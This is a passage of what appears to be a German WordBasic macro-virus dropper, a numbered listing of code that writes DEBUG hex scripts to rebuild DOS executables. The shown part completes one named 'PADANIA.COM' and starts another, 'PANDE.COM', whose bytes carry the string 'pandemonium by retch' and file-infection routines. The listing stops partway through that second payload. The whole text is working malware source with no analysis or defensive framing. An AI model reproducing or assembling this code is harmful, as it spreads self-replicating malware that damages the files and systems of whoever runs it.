  5720. Einfügen "Print #1," + Chr$(34) + "E 17E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5721. EinfügenAbsatz
  5722. Einfügen "Print #1," + Chr$(34) + "E 17F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5723. EinfügenAbsatz
  5724. Einfügen "Print #1," + Chr$(34) + "E 1800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5725. EinfügenAbsatz
  5726. Einfügen "Print #1," + Chr$(34) + "E 1810 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5727. EinfügenAbsatz
  5728. Einfügen "Print #1," + Chr$(34) + "E 1820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5729. EinfügenAbsatz
  5730. Einfügen "Print #1," + Chr$(34) + "E 1830 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5731. EinfügenAbsatz
  5732. Einfügen "Print #1," + Chr$(34) + "E 1840 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5733. EinfügenAbsatz
  5734. Einfügen "Print #1," + Chr$(34) + "E 1850 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5735. EinfügenAbsatz
  5736. Einfügen "Print #1," + Chr$(34) + "E 1860 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5737. EinfügenAbsatz
  5738. Einfügen "Print #1," + Chr$(34) + "E 1870 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5739. EinfügenAbsatz
  5740. Einfügen "Print #1," + Chr$(34) + "E 1880 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5741. EinfügenAbsatz
  5742. Einfügen "Print #1," + Chr$(34) + "E 1890 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5743. EinfügenAbsatz
  5744. Einfügen "Print #1," + Chr$(34) + "E 18A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5745. EinfügenAbsatz
  5746. Einfügen "Print #1," + Chr$(34) + "E 18B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5747. EinfügenAbsatz
  5748. Einfügen "Print #1," + Chr$(34) + "E 18C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5749. EinfügenAbsatz
  5750. Einfügen "Print #1," + Chr$(34) + "E 18D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5751. EinfügenAbsatz
  5752. Einfügen "Print #1," + Chr$(34) + "E 18E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5753. EinfügenAbsatz
  5754. Einfügen "Print #1," + Chr$(34) + "E 18F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5755. EinfügenAbsatz
  5756. Einfügen "Print #1," + Chr$(34) + "E 1900 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5757. EinfügenAbsatz
  5758. Einfügen "Print #1," + Chr$(34) + "E 1910 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5759. EinfügenAbsatz
  5760. Einfügen "Print #1," + Chr$(34) + "E 1920 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5761. EinfügenAbsatz
  5762. Einfügen "Print #1," + Chr$(34) + "E 1930 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5763. EinfügenAbsatz
  5764. Einfügen "Print #1," + Chr$(34) + "E 1940 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5765. EinfügenAbsatz
  5766. Einfügen "Print #1," + Chr$(34) + "E 1950 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5767. EinfügenAbsatz
  5768. Einfügen "Print #1," + Chr$(34) + "E 1960 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5769. EinfügenAbsatz
  5770. Einfügen "Print #1," + Chr$(34) + "E 1970 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5771. EinfügenAbsatz
  5772. Einfügen "Print #1," + Chr$(34) + "E 1980 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5773. EinfügenAbsatz
  5774. Einfügen "Print #1," + Chr$(34) + "E 1990 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5775. EinfügenAbsatz
  5776. Einfügen "Print #1," + Chr$(34) + "E 19A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5777. EinfügenAbsatz
  5778. Einfügen "Print #1," + Chr$(34) + "E 19B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5779. EinfügenAbsatz
  5780. Einfügen "Print #1," + Chr$(34) + "E 19C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5781. EinfügenAbsatz
  5782. Einfügen "Print #1," + Chr$(34) + "E 19D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5783. EinfügenAbsatz
  5784. Einfügen "Print #1," + Chr$(34) + "E 19E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5785. EinfügenAbsatz
  5786. Einfügen "Print #1," + Chr$(34) + "E 19F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5787. EinfügenAbsatz
  5788. Einfügen "Print #1," + Chr$(34) + "E 1A00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5789. EinfügenAbsatz
  5790. Einfügen "Print #1," + Chr$(34) + "E 1A10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5791. EinfügenAbsatz
  5792. Einfügen "Print #1," + Chr$(34) + "E 1A20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5793. EinfügenAbsatz
  5794. Einfügen "Print #1," + Chr$(34) + "E 1A30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5795. EinfügenAbsatz
  5796. Einfügen "Print #1," + Chr$(34) + "E 1A40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5797. EinfügenAbsatz
  5798. Einfügen "Print #1," + Chr$(34) + "E 1A50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5799. EinfügenAbsatz
  5800. Einfügen "Print #1," + Chr$(34) + "E 1A60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5801. EinfügenAbsatz
  5802. Einfügen "Print #1," + Chr$(34) + "E 1A70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5803. EinfügenAbsatz
  5804. Einfügen "Print #1," + Chr$(34) + "E 1A80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5805. EinfügenAbsatz
  5806. Einfügen "Print #1," + Chr$(34) + "E 1A90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5807. EinfügenAbsatz
  5808. Einfügen "Print #1," + Chr$(34) + "E 1AA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5809. EinfügenAbsatz
  5810. Einfügen "Print #1," + Chr$(34) + "E 1AB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5811. EinfügenAbsatz
  5812. Einfügen "Print #1," + Chr$(34) + "E 1AC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5813. EinfügenAbsatz
  5814. Einfügen "Print #1," + Chr$(34) + "E 1AD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5815. EinfügenAbsatz
  5816. Einfügen "Print #1," + Chr$(34) + "E 1AE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5817. EinfügenAbsatz
  5818. Einfügen "Print #1," + Chr$(34) + "E 1AF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5819. EinfügenAbsatz
  5820. Einfügen "Print #1," + Chr$(34) + "E 1B00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5821. EinfügenAbsatz
  5822. Einfügen "Print #1," + Chr$(34) + "E 1B10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5823. EinfügenAbsatz
  5824. Einfügen "Print #1," + Chr$(34) + "E 1B20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5825. EinfügenAbsatz
  5826. Einfügen "Print #1," + Chr$(34) + "E 1B30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5827. EinfügenAbsatz
  5828. Einfügen "Print #1," + Chr$(34) + "E 1B40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5829. EinfügenAbsatz
  5830. Einfügen "Print #1," + Chr$(34) + "E 1B50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5831. EinfügenAbsatz
  5832. Einfügen "Print #1," + Chr$(34) + "E 1B60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5833. EinfügenAbsatz
  5834. Einfügen "Print #1," + Chr$(34) + "E 1B70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5835. EinfügenAbsatz
  5836. Einfügen "Print #1," + Chr$(34) + "E 1B80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5837. EinfügenAbsatz
  5838. Einfügen "Print #1," + Chr$(34) + "E 1B90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5839. EinfügenAbsatz
  5840. Einfügen "Print #1," + Chr$(34) + "E 1BA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5841. EinfügenAbsatz
  5842. Einfügen "Print #1," + Chr$(34) + "E 1BB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5843. EinfügenAbsatz
  5844. Einfügen "Print #1," + Chr$(34) + "E 1BC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5845. EinfügenAbsatz
  5846. Einfügen "Print #1," + Chr$(34) + "E 1BD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5847. EinfügenAbsatz
  5848. Einfügen "Print #1," + Chr$(34) + "E 1BE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5849. EinfügenAbsatz
  5850. Einfügen "Print #1," + Chr$(34) + "E 1BF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5851. EinfügenAbsatz
  5852. Einfügen "Print #1," + Chr$(34) + "E 1C00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5853. EinfügenAbsatz
  5854. Einfügen "Print #1," + Chr$(34) + "E 1C10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5855. EinfügenAbsatz
  5856. Einfügen "Print #1," + Chr$(34) + "E 1C20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5857. EinfügenAbsatz
  5858. Einfügen "Print #1," + Chr$(34) + "E 1C30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5859. EinfügenAbsatz
  5860. Einfügen "Print #1," + Chr$(34) + "E 1C40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5861. EinfügenAbsatz
  5862. Einfügen "Print #1," + Chr$(34) + "E 1C50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5863. EinfügenAbsatz
  5864. Einfügen "Print #1," + Chr$(34) + "E 1C60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5865. EinfügenAbsatz
  5866. Einfügen "Print #1," + Chr$(34) + "E 1C70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5867. EinfügenAbsatz
  5868. Einfügen "Print #1," + Chr$(34) + "E 1C80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5869. EinfügenAbsatz
  5870. Einfügen "Print #1," + Chr$(34) + "E 1C90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5871. EinfügenAbsatz
  5872. Einfügen "Print #1," + Chr$(34) + "E 1CA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5873. EinfügenAbsatz
  5874. Einfügen "Print #1," + Chr$(34) + "E 1CB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5875. EinfügenAbsatz
  5876. Einfügen "Print #1," + Chr$(34) + "E 1CC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5877. EinfügenAbsatz
  5878. Einfügen "Print #1," + Chr$(34) + "E 1CD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5879. EinfügenAbsatz
  5880. Einfügen "Print #1," + Chr$(34) + "E 1CE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5881. EinfügenAbsatz
  5882. Einfügen "Print #1," + Chr$(34) + "E 1CF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5883. EinfügenAbsatz
  5884. Einfügen "Print #1," + Chr$(34) + "E 1D00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5885. EinfügenAbsatz
  5886. Einfügen "Print #1," + Chr$(34) + "E 1D10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5887. EinfügenAbsatz
  5888. Einfügen "Print #1," + Chr$(34) + "E 1D20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5889. EinfügenAbsatz
  5890. Einfügen "Print #1," + Chr$(34) + "E 1D30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5891. EinfügenAbsatz
  5892. Einfügen "Print #1," + Chr$(34) + "E 1D40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5893. EinfügenAbsatz
  5894. Einfügen "Print #1," + Chr$(34) + "E 1D50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5895. EinfügenAbsatz
  5896. Einfügen "Print #1," + Chr$(34) + "E 1D60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  5897. EinfügenAbsatz
  5898. Einfügen "Print #1," + Chr$(34) + "E 1D70 00 00 00 00 00 00 00 00" + Chr$(34)
  5899. EinfügenAbsatz
  5900. Einfügen "Print #1," + Chr$(34) + "RCX" + Chr$(34)
  5901. EinfügenAbsatz
  5902. Einfügen "Print #1," + Chr$(34) + "1C78" + Chr$(34)
  5903. EinfügenAbsatz
  5904. Einfügen "Print #1," + Chr$(34) + "W" + Chr$(34)
  5905. EinfügenAbsatz
  5906. Einfügen "Print #1," + Chr$(34) + "Q" + Chr$(34)
  5907. EinfügenAbsatz
  5908. Einfügen "Close #1"
  5909. EinfügenAbsatz
  5910. Einfügen "c$ = " + Chr$(34) + "PADANIA.COM" + Chr$(34)
  5911. Finished
  5912. End Sub
  5913.  
  5914. Sub Pande
  5915. Install
  5916. Einfügen "Print #1," + Chr$(34) + "N PANDE.COM" + Chr$(34)
  5917. EinfügenAbsatz
  5918. Einfügen "Print #1," + Chr$(34) + "E 0100 C7 06 00 00 CD 20 E8 B1 05 55 8B AE 14 00 E8 3C" + Chr$(34)
  5919. EinfügenAbsatz
  5920. Einfügen "Print #1," + Chr$(34) + "E 0110 00 8B DD 5D 8B 86 02 00 05 10 00 2E 01 87 2A 00" + Chr$(34)
  5921. EinfügenAbsatz
  5922. Einfügen "Print #1," + Chr$(34) + "E 0120 2E 01 87 20 00 E8 A2 05 BC F0 FF 8E D4 BC FE FF" + Chr$(34)
  5923. EinfügenAbsatz
  5924. Einfügen "Print #1," + Chr$(34) + "E 0130 EA 00 00 F0 FF 0D 0A 70 61 6E 64 65 6D 6F 6E 69" + Chr$(34)
  5925. EinfügenAbsatz
  5926. Einfügen "Print #1," + Chr$(34) + "E 0140 75 6D 20 62 79 20 72 65 74 63 68 0D 0A B8 02 58" + Chr$(34)
  5927. EinfügenAbsatz
  5928. Einfügen "Print #1," + Chr$(34) + "E 0150 CD 21 98 50 BB 01 00 E8 94 00 BF 06 00 B5 01 EB" + Chr$(34)
  5929. EinfügenAbsatz
  5930. Einfügen "Print #1," + Chr$(34) + "E 0160 03 26 8B 3D 26 C4 3D 47 26 80 7D FF EA 74 F5 26" + Chr$(34)
  5931. EinfügenAbsatz
  5932. Einfügen "Print #1," + Chr$(34) + "E 0170 81 7D FE FF 2E 74 EA 26 81 7D FC 8A E1 E0 E8 26" + Chr$(34)
  5933. EinfügenAbsatz
  5934. Einfügen "Print #1," + Chr$(34) + "E 0180 8A 45 FF 98 01 C7 26 81 3D 80 FC 75 60 26 8B 45" + Chr$(34)
  5935. EinfügenAbsatz
  5936. Einfügen "Print #1," + Chr$(34) + "E 0190 02 2E 89 86 32 01 06 57 83 C7 05 2E 8C 86 38 01" + Chr$(34)
  5937. EinfügenAbsatz
  5938. Einfügen "Print #1," + Chr$(34) + "E 01A0 2E 8C 86 3D 01 2E 89 BE 36 01 26 8A 45 FF 98 01" + Chr$(34)
  5939. EinfügenAbsatz
  5940. Einfügen "Print #1," + Chr$(34) + "E 01B0 C7 2E 89 BE 3B 01 33 FF B8 00 58 CD 21 91 B8 01" + Chr$(34)
  5941. EinfügenAbsatz
  5942. Einfügen "Print #1," + Chr$(34) + "E 01C0 58 BB 81 00 CD 21 8D 85 00 48 BB 62 00 E8 63 00" + Chr$(34)
  5943. EinfügenAbsatz
  5944. Einfügen "Print #1," + Chr$(34) + "E 01D0 73 22 E8 E1 04 8E C3 E8 46 00 26 8B 5D 03 81 EB" + Chr$(34)
  5945. EinfügenAbsatz
  5946. Einfügen "Print #1," + Chr$(34) + "E 01E0 63 00 8E C0 8D 85 00 4A E8 48 00 EB D9 5B B8 03" + Chr$(34)
  5947. EinfügenAbsatz
  5948. Einfügen "Print #1," + Chr$(34) + "E 01F0 58 CD 21 C3 8E C0 8B D9 B7 00 B8 01 58 CD 21 E8" + Chr$(34)
  5949. EinfügenAbsatz
  5950. Einfügen "Print #1," + Chr$(34) + "E 0200 1E 00 26 89 45 01 8E C0 B9 F0 05 8D 76 F7 E8 16" + Chr$(34)
  5951. EinfügenAbsatz
  5952. Einfügen "Print #1," + Chr$(34) + "E 0210 00 5F 1F C6 05 EA C7 45 01 48 01 8C 45 03 EB CD" + Chr$(34)
  5953. EinfügenAbsatz
  5954. Einfügen "Print #1," + Chr$(34) + "E 0220 8C C0 48 8E C0 40 C3 2E AC AA E2 FB C3 E8 9A 04" + Chr$(34)
  5955. EinfügenAbsatz
  5956. Einfügen "Print #1," + Chr$(34) + "E 0230 E9 06 00 9C 0E E8 01 00 C3 80 FC 00 74 05 EA 00" + Chr$(34)
  5957. EinfügenAbsatz
  5958. Einfügen "Print #1," + Chr$(34) + "E 0240 00 00 00 EA 00 00 00 00 E8 6F 04 E8 DF 03 BF 70" + Chr$(34)
  5959. EinfügenAbsatz
  5960. Einfügen "Print #1," + Chr$(34) + "E 0250 01 B9 00 00 83 C7 03 2E 3A 25 E0 F8 2E 8B 45 01" + Chr$(34)
  5961. EinfügenAbsatz
  5962. Einfügen "Print #1," + Chr$(34) + "E 0260 74 03 B8 2D 01 50 8B 86 10 00 8B 8E 0E 00 8B BE" + Chr$(34)
  5963. EinfügenAbsatz
  5964. Einfügen "Print #1," + Chr$(34) + "E 0270 04 00 C3 3D E2 03 4B 65 03 6C E0 03 11 CF 04 12" + Chr$(34)
  5965. EinfügenAbsatz
  5966. Einfügen "Print #1," + Chr$(34) + "E 0280 CF 04 13 9A 01 3F 60 02 40 2C 02 41 1E 02 42 3C" + Chr$(34)
  5967. EinfügenAbsatz
  5968. Einfügen "Print #1," + Chr$(34) + "E 0290 03 4E F0 04 4F F0 04 57 F9 01 89 D6 46 80 7C FF" + Chr$(34)
  5969. EinfügenAbsatz
  5970. Einfügen "Print #1," + Chr$(34) + "E 02A0 FF 75 03 83 C6 07 0E 07 BF D8 05 B9 08 00 A4 80" + Chr$(34)
  5971. EinfügenAbsatz
  5972. Einfügen "Print #1," + Chr$(34) + "E 02B0 3C 20 E0 FA 8D 77 08 B0 2E AA A5 A4 26 C6 05 00" + Chr$(34)
  5973. EinfügenAbsatz
  5974. Einfügen "Print #1," + Chr$(34) + "E 02C0 E8 E6 03 06 53 0E 1F BA F0 05 B4 1A E8 64 FF BA" + Chr$(34)
  5975. EinfügenAbsatz
  5976. Einfügen "Print #1," + Chr$(34) + "E 02D0 D8 05 B9 08 00 B4 4E 3D B4 4F E8 56 FF 72 11 BA" + Chr$(34)
  5977. EinfügenAbsatz
  5978. Einfügen "Print #1," + Chr$(34) + "E 02E0 0E 06 E8 CA 03 93 72 F0 E8 47 00 E8 C5 03 EB E8" + Chr$(34)
  5979. EinfügenAbsatz
  5980. Einfügen "Print #1," + Chr$(34) + "E 02F0 5A 1F B4 1A E8 3C FF EB 36 3C 01 74 17 E8 CA 03" + Chr$(34)
  5981. EinfügenAbsatz
  5982. Einfügen "Print #1," + Chr$(34) + "E 0300 E8 30 FF E8 B4 03 72 09 80 EE C8 72 04 88 B6 0D" + Chr$(34)
  5983. EinfügenAbsatz
  5984. Einfügen "Print #1," + Chr$(34) + "E 0310 00 E9 C6 01 80 FE C8 72 16 E8 D5 01 EB 11 E8 8E" + Chr$(34)
  5985. EinfügenAbsatz
  5986. Einfügen "Print #1," + Chr$(34) + "E 0320 03 72 0C 93 E8 0B 00 E8 89 03 EB 03 E8 03 00 E9" + Chr$(34)
  5987. EinfügenAbsatz
  5988. Einfügen "Print #1," + Chr$(34) + "E 0330 FB FE E8 47 03 72 28 80 EE C8 51 52 E8 D2 00 BA" + Chr$(34)
  5989. EinfügenAbsatz
  5990. Einfügen "Print #1," + Chr$(34) + "E 0340 10 FA B9 FF FF B0 02 E8 5B 03 33 C9 B4 40 E8 E2" + Chr$(34)
  5991. EinfügenAbsatz
  5992. Einfügen "Print #1," + Chr$(34) + "E 0350 FE E8 4B 03 E8 36 03 E8 D7 00 5A 59 E8 20 03 C3" + Chr$(34)
  5993. EinfügenAbsatz
  5994. Einfügen "Print #1," + Chr$(34) + "E 0360 E8 F8 00 72 CA E8 A9 00 B9 FF FF BA 10 FA B0 02" + Chr$(34)
  5995. EinfügenAbsatz
  5996. Einfügen "Print #1," + Chr$(34) + "E 0370 E8 32 03 2E 89 16 00 03 2E A3 02 03 2E 8B 16 32" + Chr$(34)
  5997. EinfügenAbsatz
  5998. Einfügen "Print #1," + Chr$(34) + "E 0380 03 2E A1 35 03 2E 3B 16 00 03 72 09 77 21 2E 3B" + Chr$(34)
  5999. EinfügenAbsatz
  6000. Einfügen "Print #1," + Chr$(34) + "E 0390 06 02 03 73 1A 8B 8E 0E 00 03 C1 83 D2 00 2E 3B" + Chr$(34)
  6001. EinfügenAbsatz
  6002. Einfügen "Print #1," + Chr$(34) + "E 03A0 16 00 03 72 0C 2E 2B 06 02 03 72 05 2B C8 3D 33" + Chr$(34)
  6003. EinfügenAbsatz
  6004. Einfügen "Print #1," + Chr$(34) + "E 03B0 C9 51 E8 7C 00 59 8B 96 0C 00 8E 9E 02 00 B4 3F" + Chr$(34)
  6005. EinfügenAbsatz
  6006. Einfügen "Print #1," + Chr$(34) + "E 03C0 E8 70 FE E8 3E 00 72 35 0B C0 74 31 2E 83 3E 32" + Chr$(34)
  6007. EinfügenAbsatz
  6008. Einfügen "Print #1," + Chr$(34) + "E 03D0 03 00 77 29 2E 83 3E 35 03 18 73 21 2E 8B 36 35" + Chr$(34)
  6009. EinfügenAbsatz
  6010. Einfügen "Print #1," + Chr$(34) + "E 03E0 03 50 01 F0 3D 18 00 58 72 07 8B C6 2D 18 00 F7" + Chr$(34)
  6011. EinfügenAbsatz
  6012. Einfügen "Print #1," + Chr$(34) + "E 03F0 D8 91 81 C6 D8 05 89 D7 1E 07 E8 2A FE E9 DA 00" + Chr$(34)
  6013. EinfügenAbsatz
  6014. Einfügen "Print #1," + Chr$(34) + "E 0400 00 00 00 00 89 86 10 00 73 06 80 8E 12 00 01 F9" + Chr$(34)
  6015. EinfügenAbsatz
  6016. Einfügen "Print #1," + Chr$(34) + "E 0410 C3 33 C9 33 D2 B0 01 E8 8B 02 2E 89 16 32 03 2E" + Chr$(34)
  6017. EinfügenAbsatz
  6018. Einfügen "Print #1," + Chr$(34) + "E 0420 A3 35 03 B0 02 B9 FF FF BA E8 FF E8 77 02 E8 59" + Chr$(34)
  6019. EinfügenAbsatz
  6020. Einfügen "Print #1," + Chr$(34) + "E 0430 02 B9 00 00 BA 00 00 B0 00 E9 69 02 E8 1C 00 72" + Chr$(34)
  6021. EinfügenAbsatz
  6022. Einfügen "Print #1," + Chr$(34) + "E 0440 0B 3C 02 75 07 81 EA F0 05 83 D9 00 E8 E4 FD E8" + Chr$(34)
  6023. EinfügenAbsatz
  6024. Einfügen "Print #1," + Chr$(34) + "E 0450 B2 FF 72 04 89 96 0C 00 E9 7F 00 50 51 52 E8 1B" + Chr$(34)
  6025. EinfügenAbsatz
  6026. Einfügen "Print #1," + Chr$(34) + "E 0460 02 5A 59 58 C3 3C 01 74 05 72 77 E9 BF FD E8 59" + Chr$(34)
  6027. EinfügenAbsatz
  6028. Einfügen "Print #1," + Chr$(34) + "E 0470 02 2E 89 1E 1B 06 2E 8C 06 1D 06 E8 B5 FD E8 39" + Chr$(34)
  6029. EinfügenAbsatz
  6030. Einfügen "Print #1," + Chr$(34) + "E 0480 02 2E C4 3E 1B 06 83 C7 0E 26 C5 75 04 33 C9 80" + Chr$(34)
  6031. EinfügenAbsatz
  6032. Einfügen "Print #1," + Chr$(34) + "E 0490 3C E9 75 05 41 AC AD 01 C6 81 7C 18 05 10 75 3A" + Chr$(34)
  6033. EinfügenAbsatz
  6034. Einfügen "Print #1," + Chr$(34) + "E 04A0 E3 0B 8B 44 31 2D 03 01 A3 01 01 EB 2D 26 FF 35" + Chr$(34)
  6035. EinfügenAbsatz
  6036. Einfügen "Print #1," + Chr$(34) + "E 04B0 26 FF 75 02 E8 FF 01 83 C3 10 01 5C 33 01 5C 29" + Chr$(34)
  6037. EinfügenAbsatz
  6038. Einfügen "Print #1," + Chr$(34) + "E 04C0 8B 44 2E 48 48 AB 8B 44 29 AB 8B 44 31 AB 8B 44" + Chr$(34)
  6039. EinfügenAbsatz
  6040. Einfügen "Print #1," + Chr$(34) + "E 04D0 33 AB 1F 5E AD 26 C4 7D F8 AB E8 ED 01 CA 02 00" + Chr$(34)
  6041. EinfügenAbsatz
  6042. Einfügen "Print #1," + Chr$(34) + "E 04E0 89 F2 E8 CA 01 72 07 93 E8 06 00 E8 C5 01 E9 3C" + Chr$(34)
  6043. EinfügenAbsatz
  6044. Einfügen "Print #1," + Chr$(34) + "E 04F0 FD 33 FF E8 86 01 51 52 73 0E E8 8D 01 80 2C E9" + Chr$(34)
  6045. EinfügenAbsatz
  6046. Einfügen "Print #1," + Chr$(34) + "E 0500 74 0E 81 2C 64 5A 74 46 5A 59 03 D7 E8 70 01 C3" + Chr$(34)
  6047. EinfügenAbsatz
  6048. Einfügen "Print #1," + Chr$(34) + "E 0510 8B 44 01 05 03 01 A3 31 00 C7 06 2E 00 FE FF B8" + Chr$(34)
  6049. EinfügenAbsatz
  6050. Einfügen "Print #1," + Chr$(34) + "E 0520 F0 FF A3 33 00 A3 29 00 E8 71 01 0B D2 75 D9 3D" + Chr$(34)
  6051. EinfügenAbsatz
  6052. Einfügen "Print #1," + Chr$(34) + "E 0530 00 F0 77 D4 C6 04 E9 2D 03 00 50 E8 36 01 8F 44" + Chr$(34)
  6053. EinfügenAbsatz
  6054. Einfügen "Print #1," + Chr$(34) + "E 0540 01 72 C5 E8 59 01 E8 44 01 BF 00 C8 EB BA E8 1C" + Chr$(34)
  6055. EinfügenAbsatz
  6056. Einfügen "Print #1," + Chr$(34) + "E 0550 01 83 3C 40 74 B2 E8 14 01 83 3C 00 75 AA C7 04" + Chr$(34)
  6057. EinfügenAbsatz
  6058. Einfügen "Print #1," + Chr$(34) + "E 0560 4D 5A 83 7C 0C FF 75 A0 FF 74 0E FF 74 10 FF 74" + Chr$(34)
  6059. EinfügenAbsatz
  6060. Einfügen "Print #1," + Chr$(34) + "E 0570 14 FF 74 16 8F 45 33 8F 45 31 8F 45 2E 8F 45 29" + Chr$(34)
  6061. EinfügenAbsatz
  6062. Einfügen "Print #1," + Chr$(34) + "E 0580 E8 19 01 52 50 E8 EC 00 72 C2 C7 44 0A 00 00 58" + Chr$(34)
  6063. EinfügenAbsatz
